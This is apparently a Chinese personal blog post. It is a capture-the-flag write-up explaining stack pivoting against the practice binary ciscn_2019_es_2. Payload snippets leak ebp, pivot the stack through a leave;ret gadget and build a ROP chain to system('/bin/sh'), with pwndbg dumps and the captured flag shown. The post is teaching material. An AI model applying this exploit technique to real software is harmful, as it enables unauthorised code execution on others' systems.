Ciallo~(∠・ω< )⌒★

  • 首页
  • 隐私政策
Shizuku's Blog
Ciallo~(∠・ω< )⌒★
  1. 首页
  2. Linux
  3. Pwn&Reverse
  4. 正文

栈迁移(ciscn_2019_es_2)

2026年3月31日 14点热度 0人点赞 0条评论

栈迁移(ciscn_2019_es_2)

1. 什么是栈迁移?

栈迁移(Stack Pivoting)是一种攻击技术,攻击者通过修改程序的栈指针,使得程序在执行过程中跳转到攻击者控制的内存区域,从而执行恶意代码。这种技术通常用于绕过安全机制,如数据执行保护(DEP)和地址空间布局随机化(ASLR)。

2. 例子

通过逆向发现:

int vul()
{
  char s[40]; // [esp+0h] [ebp-28h] BYREF

  memset(s, 0, 0x20u);
  read(0, s, 0x30u);
  printf("Hello, %s\n", s);
  read(0, s, 0x30u);
  return printf("Hello, %s\n", s);
}

此程序中存在一个缓冲区溢出漏洞,攻击者可以通过输入超过40字节的数据来覆盖栈上的其他变量和返回地址。

但是,读取的长度是0x30(48字节),这意味着只能覆盖到 _DWORD __saved_registers; 和 _UNKNOWN *__return_address; 而无法继续向下写函数参数。于是考虑使用栈迁移。

栈迁移主要借用 leave 指令的功能。leave 指令会将 ebp 的值赋给 esp,然后将 ebp 的值从栈中弹出。这意味着攻击者可以通过覆盖 ebp 来控制 esp 的值,从而实现栈迁移。

要使用栈迁移,首先要暴露 ebp 的值。在覆盖 s 时发现可以通过读到 _DWORD __saved_registers; 来获取 ebp 的值。

payload = b'a' * (0x24) + b'QwQ'

io.sendline(payload)

print(io.recvline())
sleep(0.2)
addr_ebp_last = u32(io.recvline()[0:4])
print(hex(addr_ebp_last))

payload 长度 0x28 覆盖到 s 的所有合法可写区,由于没有终止符( \x00 ),故可以通过 printf("Hello, %s\n", s); 来读到 _DWORD __saved_registers; 的值,即 ebp 的值。

接着借助工具来得到 leave 指令的地址:

addr_leave_ret = 0x08048562

构造栈:

payload = b'a' * 0x28 + b'QwQ\n' + p32(addr_leave_ret)
io.sendline(payload)

用此 payload 来测试一下,开个 gdb 来看看:

gdb.attach(io, "b *0x80485fd\nc")
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
 EAX  0x38
 EBX  0xf7f3ce34 ◂— 0x230d2c /* ',\r#' */
 ECX  0
 EDX  0
 EDI  0xf7f9ab60 (_rtld_global_ro) ◂— 0
 ESI  0x8048640 (__libc_csu_init) ◂— push ebp
 EBP  0xffdfea98 ◂— 0xa517751 ('QwQ\n')
 ESP  0xffdfea70 ◂— 0x61616161 ('aaaa')
 EIP  0x80485fd (vul+104) ◂— leave 
───────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────
 ► 0x80485fd <vul+104>    leave  
   0x80485fe <vul+105>    ret                                <hack+23>
    ↓
   0x8048562 <hack+23>    leave  
   0x8048563 <hack+24>    ret    

   0x8048564 
<init>       push   ebp
   0x8048565 <init+1>     mov    ebp, esp
   0x8048567 <init+3>     sub    esp, 8
   0x804856a <init+6>     mov    eax, dword ptr [stdin@@GLIBC_2.0]     EAX, [stdin@@GLIBC_2.0]
   0x804856f <init+11>    push   0
   0x8048571 <init+13>    push   2
   0x8048573 <init+15>    push   0
───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffdfea70 ◂— 0x61616161 ('aaaa')
... ↓        7 skipped
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
 ► 0 0x80485fd vul+104
   1 0x8048562 hack+23
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

看到成功覆盖,下个指令为 leave,不过这个指令执行后会有怎样的结果呢?继续单步:

0x080485fe in vul ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
 EAX  0x38
 EBX  0xf7f3ce34 ◂— 0x230d2c /* ',\r#' */
 ECX  0
 EDX  0
 EDI  0xf7f9ab60 (_rtld_global_ro) ◂— 0
 ESI  0x8048640 (__libc_csu_init) ◂— push ebp
*EBP  0xa517751 ('QwQ\n')
*ESP  0xffdfea9c —▸ 0x8048562 (hack+23) ◂— leave 
*EIP  0x80485fe (vul+105) ◂— ret 
───────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────
b+ 0x80485fd <vul+104>    leave  
 ► 0x80485fe <vul+105>    ret                                <hack+23>
    ↓
   0x8048562 <hack+23>    leave  
   0x8048563 <hack+24>    ret    

   0x8048564 
<init>       push   ebp
   0x8048565 <init+1>     mov    ebp, esp
   0x8048567 <init+3>     sub    esp, 8
   0x804856a <init+6>     mov    eax, dword ptr [stdin@@GLIBC_2.0]     EAX, [stdin@@GLIBC_2.0]
   0x804856f <init+11>    push   0
   0x8048571 <init+13>    push   2
   0x8048573 <init+15>    push   0
───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffdfea9c —▸ 0x8048562 (hack+23) ◂— leave 
01:0004│     0xffdfeaa0 ◂— 0
02:0008│     0xffdfeaa4 —▸ 0xffdfeac0 ◂— 1
03:000c│     0xffdfeaa8 ◂— 0
04:0010│     0xffdfeaac —▸ 0xf7d30cb9 ◂— add esp, 0x10
05:0014│     0xffdfeab0 ◂— 0
06:0018│     0xffdfeab4 ◂— 0
07:001c│     0xffdfeab8 —▸ 0xf7d4a13d ◂— add ebx, 0x1f2cf7
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
 ► 0 0x80485fe vul+105
   1 0x8048562 hack+23
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

又看到 ebp 变为了 QwQ\n, esp 位置没有改变,此时 ebp 在 esp 的上方,实际值为 _DWORD __saved_registers; 写入的地址,而此地址目前无效。若此地址指向 payload 内,则可以通过 ret 来跳转到 payload 内继续执行。来看看 ret 执行后发生什么了:

0x08048562 in hack ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
 EAX  0x38
 EBX  0xf7f3ce34 ◂— 0x230d2c /* ',\r#' */
 ECX  0
 EDX  0
 EDI  0xf7f9ab60 (_rtld_global_ro) ◂— 0
 ESI  0x8048640 (__libc_csu_init) ◂— push ebp
 EBP  0xa517751 ('QwQ\n')
*ESP  0xffdfeaa0 ◂— 0
*EIP  0x8048562 (hack+23) ◂— leave 
───────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────
b+ 0x80485fd <vul+104>    leave  
   0x80485fe <vul+105>    ret                                <hack+23>
    ↓
 ► 0x8048562 <hack+23>    leave  
   0x8048563 <hack+24>    ret    

   0x8048564 
<init>       push   ebp
   0x8048565 <init+1>     mov    ebp, esp
   0x8048567 <init+3>     sub    esp, 8
   0x804856a <init+6>     mov    eax, dword ptr [stdin@@GLIBC_2.0]     EAX, [stdin@@GLIBC_2.0]
   0x804856f <init+11>    push   0
   0x8048571 <init+13>    push   2
   0x8048573 <init+15>    push   0
───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffdfeaa0 ◂— 0
01:0004│     0xffdfeaa4 —▸ 0xffdfeac0 ◂— 1
02:0008│     0xffdfeaa8 ◂— 0
03:000c│     0xffdfeaac —▸ 0xf7d30cb9 ◂— add esp, 0x10
04:0010│     0xffdfeab0 ◂— 0
05:0014│     0xffdfeab4 ◂— 0
06:0018│     0xffdfeab8 —▸ 0xf7d4a13d ◂— add ebx, 0x1f2cf7
07:001c│     0xffdfeabc —▸ 0xf7d30cb9 ◂— add esp, 0x10
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
 ► 0 0x8048562 hack+23
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

发现要跳到 0x8048562 了,这就是我们之前设置的 leave 指令地址了。ebp 现在依旧停在 _DWORD __saved_registers; 的位置,而 esp 位置没有改变,仍然在原来的位置。

继续单步:

LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────
 EAX  0x38
 EBX  0xf7f3ce34 ◂— 0x230d2c /* ',\r#' */
 ECX  0
 EDX  0
 EDI  0xf7f9ab60 (_rtld_global_ro) ◂— 0
 ESI  0x8048640 (__libc_csu_init) ◂— push ebp
 EBP  0xa517751 ('QwQ\n')
 ESP  0xffdfeaa0 ◂— 0
 EIP  0x8048562 (hack+23) ◂— leave 
───────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────────────────────────────────────
b+ 0x80485fd <vul+104>    leave  
   0x80485fe <vul+105>    ret    

 ► 0x8048562 <hack+23>    leave  
   0x8048563 <hack+24>    ret    

   0x8048564 
<init>       push   ebp
   0x8048565 <init+1>     mov    ebp, esp
   0x8048567 <init+3>     sub    esp, 8
   0x804856a <init+6>     mov    eax, dword ptr [stdin@@GLIBC_2.0]     EAX, [stdin@@GLIBC_2.0]
   0x804856f <init+11>    push   0
   0x8048571 <init+13>    push   2
   0x8048573 <init+15>    push   0
────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffdfeaa0 ◂— 0
01:0004│     0xffdfeaa4 —▸ 0xffdfeac0 ◂— 1
02:0008│     0xffdfeaa8 ◂— 0
03:000c│     0xffdfeaac —▸ 0xf7d30cb9 ◂— add esp, 0x10
04:0010│     0xffdfeab0 ◂— 0
05:0014│     0xffdfeab4 ◂— 0
06:0018│     0xffdfeab8 —▸ 0xf7d4a13d ◂— add ebx, 0x1f2cf7
07:001c│     0xffdfeabc —▸ 0xf7d30cb9 ◂— add esp, 0x10
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
 ► 0 0x8048562 hack+23
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

发现程序卡住了,原因是 leave 指令执行后, ebp 的值被赋给了 esp,而 ebp 的值是我们之前设置的 QwQ\n 的地址,这个地址无效,所以程序无法继续执行。

终止,改改 payload:

payload = b'MyGO' + b'a' * (0x24) + p32(addr_ebp_last - 0x28 - 4) + p32(addr_leave_ret)

这样一来我们的 s 就有了起始的标志,然后依旧填充,把 _DWORD __saved_registers; 覆盖为 s 的起始位置( s 的长度加上一个 _DWORD __saved_registers; 的长度)。预测这个地址就会引导 esp 在下次跳转时到 s 的起始位置,从而继续执行 payload 内的内容。

再次测试:

LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
 EAX  0x38
 EBX  0xf7f10e34 ◂— 0x230d2c /* ',\r#' */
 ECX  0
 EDX  0
 EDI  0xf7f6eb60 (_rtld_global_ro) ◂— 0
 ESI  0x8048640 (__libc_csu_init) ◂— push ebp
 EBP  0xfffc4398 —▸ 0xfffc437c ◂— 0x61616161 ('aaaa')
 ESP  0xfffc4370 ◂— 0x4f47794d ('MyGO')
 EIP  0x80485fd (vul+104) ◂— leave 
───────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────
 ► 0x80485fd <vul+104>    leave  
   0x80485fe <vul+105>    ret                                <hack+23>
    ↓
   0x8048562 <hack+23>    leave  
   0x8048563 <hack+24>    ret    

   0x8048564 
<init>       push   ebp
   0x8048565 <init+1>     mov    ebp, esp
   0x8048567 <init+3>     sub    esp, 8
   0x804856a <init+6>     mov    eax, dword ptr [stdin@@GLIBC_2.0]     EAX, [stdin@@GLIBC_2.0]
   0x804856f <init+11>    push   0
   0x8048571 <init+13>    push   2
   0x8048573 <init+15>    push   0
───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xfffc4370 ◂— 0x4f47794d ('MyGO')
01:0004│-024 0xfffc4374 ◂— 0x61616161 ('aaaa')
... ↓        6 skipped
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
 ► 0 0x80485fd vul+104
   1 0x8048562 hack+23
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

可以看到 ebp 值在 aaaa 的位置,不对。我们需要其能在 MyGO 的位置,这样 esp 就能跳到 MyGO 的位置继续执行。调整一下 payload:

payload = b'MyGO' + b'a' * (0x24) + p32(addr_ebp_last - 0x28 - 0x1c) + p32(addr_leave_ret)

再次测试:

LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
 EAX  0x38
 EBX  0xf7f73e34 ◂— 0x230d2c /* ',\r#' */
 ECX  0
 EDX  0
 EDI  0xf7fd1b60 (_rtld_global_ro) ◂— 0
 ESI  0x8048640 (__libc_csu_init) ◂— push ebp
 EBP  0xffa74018 —▸ 0xffa73fe4 —▸ 0xffa73ff0 ◂— 0x4f47794d ('MyGO')
 ESP  0xffa73ff0 ◂— 0x4f47794d ('MyGO')
 EIP  0x80485fd (vul+104) ◂— leave 
───────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────
 ► 0x80485fd <vul+104>    leave  
   0x80485fe <vul+105>    ret                                <hack+23>
    ↓
   0x8048562 <hack+23>    leave  
   0x8048563 <hack+24>    ret    

   0x8048564 
<init>       push   ebp
   0x8048565 <init+1>     mov    ebp, esp
   0x8048567 <init+3>     sub    esp, 8
   0x804856a <init+6>     mov    eax, dword ptr [stdin@@GLIBC_2.0]     EAX, [stdin@@GLIBC_2.0]
   0x804856f <init+11>    push   0
   0x8048571 <init+13>    push   2
   0x8048573 <init+15>    push   0
───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffa73ff0 ◂— 0x4f47794d ('MyGO')
01:0004│-024 0xffa73ff4 ◂— 0x61616161 ('aaaa')
... ↓        6 skipped
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
 ► 0 0x80485fd vul+104
   1 0x8048562 hack+23
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

ebp 将要指到 MyGO 了,继续单步:

LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────
 EAX  0x38
 EBX  0xf7f73e34 ◂— 0x230d2c /* ',\r#' */
 ECX  0
 EDX  0
 EDI  0xf7fd1b60 (_rtld_global_ro) ◂— 0
 ESI  0x8048640 (__libc_csu_init) ◂— push ebp
*EBP  0xffa73ff0 ◂— 0x4f47794d ('MyGO')
*ESP  0xffa73fe8 ◂— 0x30 /* '0' */
*EIP  0x8048563 (hack+24) ◂— ret 
───────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]────────────────────────────────────────────────────────────────────
b+ 0x80485fd <vul+104>    leave  
   0x80485fe <vul+105>    ret                                <hack+23>
    ↓
   0x8048562 <hack+23>    leave  
 ► 0x8048563 <hack+24>    ret                                <0x30>
    ↓

────────────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffa73fe8 ◂— 0x30 /* '0' */
01:0004│-004 0xffa73fec —▸ 0x804a044 (stdout@@GLIBC_2.0) —▸ 0xf7f74d40 (_IO_2_1_stdout_) ◂— 0xfbad2887
02:0008│ ebp 0xffa73ff0 ◂— 0x4f47794d ('MyGO')
03:000c│+004 0xffa73ff4 ◂— 0x61616161 ('aaaa')
... ↓        4 skipped
──────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────
 ► 0 0x8048563 hack+24
   1     0x30 None
   2 0x804a044 stdout@@GLIBC_2.0
   3 0x4f47794d None
   4 0x61616161 None
   5 0x61616161 None
   6 0x61616161 None
   7 0x61616161 None
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

现在 ebp 指到 MyGO,但是这貌似没用,我们需要让 esp 指到 MyGO 而 ebp 指到某个能让注入的程序执行完的位置即可,继续调整 payload:

payload = b'MyGO' + b'a' * (0x24) + p32(addr_ebp_last - 0x28 - 0x1c + 0x8) + p32(addr_leave_ret)

再次测试,直接跳到目标:

LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
 EAX  0x38
 EBX  0xf7ea8e34 ◂— 0x230d2c /* ',\r#' */
 ECX  0
 EDX  0
 EDI  0xf7f06b60 (_rtld_global_ro) ◂— 0
 ESI  0x8048640 (__libc_csu_init) ◂— push ebp
*EBP  0x804a044 (stdout@@GLIBC_2.0) —▸ 0xf7ea9d40 (_IO_2_1_stdout_) ◂— 0xfbad2887
*ESP  0xff96ce40 ◂— 0x4f47794d ('MyGO')
*EIP  0x8048563 (hack+24) ◂— ret 
───────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────
b+ 0x80485fd <vul+104>    leave  
   0x80485fe <vul+105>    ret                                <hack+23>
    ↓
   0x8048562 <hack+23>    leave  
 ► 0x8048563 <hack+24>    ret                                <0x4f47794d>
    ↓

───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xff96ce40 ◂— 0x4f47794d ('MyGO')
01:0004│     0xff96ce44 ◂— 0x61616161 ('aaaa')
... ↓        6 skipped
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
 ► 0 0x8048563 hack+24
   1 0x4f47794d None
   2 0x61616161 None
   3 0x61616161 None
   4 0x61616161 None
   5 0x61616161 None
   6 0x61616161 None
   7 0x61616161 None
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

此时 esp 指到 MyGO 的位置了,接下来就可以在 payload 内继续构造 ROP 链来执行我们想要的功能了。

依旧老三样,跳过 MyGO 来操作,然后填满:

addr_esp_red = addr_ebp_last - 0x28 - 0x1c + 0x8 + 0x4

payload = b'MyGO' + p32(addr_plt_system) + p32(0x114514) + p32(addr_esp_red + 0x10) + b'/bin/sh\0' 
payload = payload.ljust(0x28, b'\0')
payload += p32(addr_esp_red) + p32(addr_leave_ret)

测试:

LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────────
 EAX  0xc
 EBX  0xf7edde34 ◂— 0x230d2c /* ',\r#' */
 ECX  0
 EDX  0
 EDI  0xf7f3bb60 (_rtld_global_ro) ◂— 0
 ESI  0x8048640 (__libc_csu_init) ◂— push ebp
 EBP  0xffdbd408 —▸ 0xffdbd3e0 ◂— 'MyGO'
 ESP  0xffdbd3e0 ◂— 'MyGO'
 EIP  0x80485fd (vul+104) ◂— leave 
───────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]───────────────────────────────────────────────────────────────
 ► 0x80485fd  <vul+104>          leave  
   0x80485fe  <vul+105>          ret                                <hack+23>
    ↓
   0x8048562  <hack+23>          leave  
   0x8048563  <hack+24>          ret                                <system@plt>
    ↓
   0x8048400  <system@plt>       jmp    dword ptr [system@got[plt]] <system@plt+6>
    ↓
   0x8048406  <system@plt+6>     push   0x18
   0x804840b  <system@plt+11>    jmp    0x80483c0                   <0x80483c0>
    ↓
   0x80483c0                     push   dword ptr [_GLOBAL_OFFSET_TABLE_+4]
   0x80483c6                     jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+8] 
<0xf7f19ba0>
    ↓
   0xf7f19ba0                    push   eax
   0xf7f19ba1                    push   ecx
───────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffdbd3e0 ◂— 'MyGO'
01:0004│-024 0xffdbd3e4 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [0x804a018]
02:0008│-020 0xffdbd3e8 ◂— 0x114514
03:000c│-01c 0xffdbd3ec —▸ 0xffdbd3f0 ◂— '/bin/sh'
04:0010│-018 0xffdbd3f0 ◂— '/bin/sh'
05:0014│-014 0xffdbd3f4 ◂— 0x68732f /* '/sh' */
06:0018│-010 0xffdbd3f8 ◂— 0
07:001c│-00c 0xffdbd3fc ◂— 0
─────────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────
 ► 0 0x80485fd vul+104
   1 0x8048562 hack+23
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

路径正确,可以跳到 system 了。

这里需要注意,参数传入必须是指针而不是字符串,所以我们需要让 esp 指向 '/bin/sh' 的位置,而不是直接把 '/bin/sh' 作为参数传入。

现在直接远程:

$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2b bytes:
    b'flag{a915a490-43ac-4a43-966f-e104d373a595}\n'
flag{a915a490-43ac-4a43-966f-e104d373a595}

3. 总结

栈迁移虽然成功了,但是发现这个 addr_esp_red 地址是靠试验出来的,实际可以通过分析 leave 指令执行后的栈结构来计算出来的。

比如说第一次拿到栈底 ebp 在 0xff931798,gdb 运行到了后面构造的 leave 后观察 stack。

pwndbg> stack 0x10
00:0000│ esp 0xff931764 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [0x804a018]
01:0004│     0xff931768 ◂— 0x114514
02:0008│     0xff93176c —▸ 0xff931770 ◂— '/bin/sh'
03:000c│     0xff931770 ◂— '/bin/sh'
04:0010│     0xff931774 ◂— 0x68732f /* '/sh' */
05:0014│     0xff931778 ◂— 0
... ↓        3 skipped
09:0024│     0xff931788 —▸ 0xff931760 ◂— 'MyGO'
0a:0028│     0xff93178c —▸ 0x8048562 (hack+23) ◂— leave 
0b:002c│     0xff931790 ◂— 0
0c:0030│     0xff931794 —▸ 0xff9317b0 ◂— 1
0d:0034│     0xff931798 ◂— 0
0e:0038│     0xff93179c —▸ 0xf7d15cb9 ◂— add esp, 0x10
0f:003c│     0xff9317a0 ◂— 0

很明显能发现这个 0xff931798 就是栈底原来的位置。当然,这个结果已经是运行到构造 leave 后面的 ret 的地方了,找找刚刚把第二个 s 的 payload 打进去的时候的地址变化:

gdb.attach(io, "b *0x80485fd\nc")

得:

00:0000│ esp 0xff931760 ◂— 'MyGO'
01:0004│-024 0xff931764 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [0x804a018]
02:0008│-020 0xff931768 ◂— 0x114514
03:000c│-01c 0xff93176c —▸ 0xff931770 ◂— '/bin/sh'
04:0010│-018 0xff931770 ◂— '/bin/sh'
05:0014│-014 0xff931774 ◂— 0x68732f /* '/sh' */
06:0018│-010 0xff931778 ◂— 0
07:001c│-00c 0xff93177c ◂— 0

即使我没有写后面的 p32(addr_esp_red) + p32(addr_leave_ret),也能发现 esp 已经指向了 MyGO 的位置了。这个位置显示是 0xff931760 ,而运行目标是第二个 0xff931764 ,指向了 system@plt 的位置了。当然没有写 p32(addr_esp_red) + p32(addr_leave_ret) 的话,后面就是大概空的。

不管如何,现在得到这个目标位置 0xff931764 与 0xff931798 差了:

0x798 - 0x764 = 0x34

payload 里面写的:

- 0x28 - 0x1c + 0x8 + 0x4 = - 0x38

为什么是 0x38 而不是 0x34 呢?原因在 leave。由于第一次 leave 由本函数触发而无实际的理论影响,主要看第二次我们 ret 到的那个 leave 和 ret 的位置,它们到底做了什么:

leave:
    mov esp, ebp
    pop ebp

这就是 leave 的基本操作, mov esp, ebp 是把 ebp 的值赋给 esp,而 pop ebp 是把 esp 指向的值赋给 ebp,然后 esp 加 4。

当 mov esp, ebp 执行后,由于我们需要其达到目标,所以我们其实指向的是 0xff931760,也就是 system@plt 上面的占位字节 MyGO:

esp = ebp = 0xff931760 ◂— 'MyGO'

当 pop ebp 执行后:

ebp = [esp] = 0xff931760 ◂— 'MyGO'
esp = ebp[esp] + 4 = 0xff931760 + 4 = 0xff931764 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [0x804a018]

此时 esp 原本指向的 MyGO 被 pop 了而向下移动了 4 个字节,所以我们需要在 payload 里面把 addr_esp_red 的位置设置为 0x38 而不是 0x34,这样才能正确地跳到 system@plt 的位置。

那么我们现在的栈空间大致是:

b'MyGO'                     ← 被 pop 掉,addr_esp_red
+ system                    ← ret 真正跳这里 ✅
+ 0x114514                  ← ret 的返回地址,随便写的,addr_esp_red + 8
+ → addr_esp_red + 16(0x10) ← system 的参数 '/bin/sh' 的位置,addr_esp_red + 12(0xC)
+ b'/bin/sh\0'              ← system 的参数,addr_esp_red + 16(0x10)

同理,得到 b'/bin/sh\0' 的位置也是通过 addr_esp_red + 0x10 来计算的而非 addr_esp_red + 0xC。

本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可
标签: 暂无
最后更新:2026年3月31日

ShizukuAqua

这个人很懒,什么都没留下

点赞
< 上一篇

文章评论

razz evil exclaim smile redface biggrin eek confused idea lol mad twisted rolleyes wink cool arrow neutral cry mrgreen drooling persevering
取消回复

归档

  • 2026 年 3 月
  • 2026 年 2 月
  • 2026 年 1 月
  • 2025 年 11 月

分类

  • ESP32
  • Linux
  • MCU
  • Pwn&Reverse
  • Rust
  • 前端技术

COPYRIGHT © 2026 Ciallo~(∠・ω< )⌒★. ALL RIGHTS RESERVED.

Theme Kratos Made By Seaton Jiang

蜀ICP备2025171572号